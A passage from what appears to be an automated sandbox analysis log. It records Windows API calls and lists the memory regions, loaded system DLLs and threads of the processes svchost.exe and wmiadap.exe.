returned 1 [0257.854] SetEvent (hEvent=0x4ec) returned 1 [0257.854] SetEvent (hEvent=0x4f8) returned 1 [0257.854] SetEvent (hEvent=0x4f0) returned 1 [0257.854] SetEvent (hEvent=0x4ec) returned 1 [0257.854] SetEvent (hEvent=0x50c) returned 1 [0257.854] SetEvent (hEvent=0x504) returned 1 [0257.854] SetEvent (hEvent=0x500) returned 1 [0257.854] SetEvent (hEvent=0x508) returned 1 [0257.854] SetEvent (hEvent=0x510) returned 1 [0257.854] CoUninitialize () Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7c6f000" os_pid = "0x11c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x8ac" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c3" [0xc000000f], "LOCAL" [0x7] Region: id = 2017 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2018 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2019 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2020 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2021 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2022 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2023 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2024 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2025 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2026 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2027 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2028 start_va = 0x280000 end_va = 0x290fff entry_point = 0x280000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2029 start_va = 0x2a0000 end_va = 0x2a3fff entry_point = 0x2a0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 2030 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2031 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2032 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2033 start_va = 0x3d0000 end_va = 0x48ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2034 start_va = 0x490000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2035 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2036 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2037 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2038 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 2039 start_va = 0x880000 end_va = 0xc72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 2040 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 2041 start_va = 0xd20000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 2042 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 2043 start_va = 0xf10000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2044 start_va = 0x1030000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 2045 start_va = 0x10c0000 end_va = 0x138efff entry_point = 0x10c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2046 start_va = 0x13c0000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2047 start_va = 0x1440000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2048 start_va = 0x1650000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 2049 start_va = 0x17a0000 end_va = 0x181ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 2050 start_va = 0x1820000 end_va = 0x189ffff entry_point = 0x0 region_type = private name = "private_0x0000000001820000" filename = "" Region: id = 2051 start_va = 0x18a0000 end_va = 0x195ffff entry_point = 0x18a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2052 start_va = 0x1990000 end_va = 0x199ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 2053 start_va = 0x19a0000 end_va = 0x1a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 2054 start_va = 0x1a30000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 2055 start_va = 0x1a90000 end_va = 0x1b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a90000" filename = "" Region: id = 2056 start_va = 0x1b20000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b20000" filename = "" Region: id = 2057 start_va = 0x1c30000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 2058 start_va = 0x1d70000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 2059 start_va = 0x1df0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2060 start_va = 0x1f70000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 2061 start_va = 0x2070000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 2062 start_va = 0x2200000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 2063 start_va = 0x2280000 end_va = 0x247ffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2064 start_va = 0x745d0000 end_va = 0x745d2fff entry_point = 0x745d0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 2065 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2066 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2067 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2068 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2069 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2070 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2071 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2072 start_va = 0x7fef58b0000 end_va = 0x7fef5987fff entry_point = 0x7fef58b0000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 2073 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2074 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2075 start_va = 0x7fef6e00000 end_va = 0x7fef6e18fff entry_point = 0x7fef6e00000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 2076 start_va = 0x7fef6fc0000 end_va = 0x7fef6fcffff entry_point = 0x7fef6fc0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 2077 start_va = 0x7fef6fd0000 end_va = 0x7fef6fe1fff entry_point = 0x7fef6fd0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 2078 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2079 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2080 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2081 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2082 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2083 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2084 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2085 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2086 start_va = 0x7fef97e0000 end_va = 0x7fef97e9fff entry_point = 0x7fef97e0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 2087 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2088 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2089 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2090 start_va = 0x7fefb6b0000 end_va = 0x7fefb716fff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2091 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2092 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2093 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2094 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2095 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2096 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2097 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2098 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2099 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2100 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2101 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2102 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2103 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2104 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2105 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2106 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2107 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2108 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2109 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2110 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2111 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2112 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2113 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2114 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2115 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2116 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2117 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2118 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2119 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2120 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2121 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2122 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2123 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2124 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2125 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2126 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2127 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2128 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2129 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2130 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2131 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2132 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2133 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2134 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2135 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2136 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2137 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2138 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2139 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2140 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2141 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2142 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2143 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 168 os_tid = 0x964 Thread: id = 169 os_tid = 0xb68 Thread: id = 170 os_tid = 0x9e0 Thread: id = 171 os_tid = 0x48c Thread: id = 172 os_tid = 0x458 Thread: id = 173 os_tid = 0x424 Thread: id = 174 os_tid = 0x414 Thread: id = 175 os_tid = 0x7cc Thread: id = 176 os_tid = 0x7b4 Thread: id = 177 os_tid = 0x7a8 Thread: id = 178 os_tid = 0x7a4 Thread: id = 179 os_tid = 0x174 Thread: id = 180 os_tid = 0x178 Thread: id = 181 os_tid = 0x130 Thread: id = 182 os_tid = 0x118 Thread: id = 227 os_tid = 0xaec Thread: id = 229 os_tid = 0x510 Thread: id = 232 os_tid = 0x4bc Thread: id = 234 os_tid = 0x310 Thread: id = 236 os_tid = 0x720 Thread: id = 238 os_tid = 0x5dc Thread: id = 240 os_tid = 0xb18 Thread: id = 242 os_tid = 0x228 Thread: id = 246 os_tid = 0x4e0 Process: id = "17" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x75427000" os_pid = "0xa54" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x36c" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2144 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2145 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2146 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2147 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2148 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") 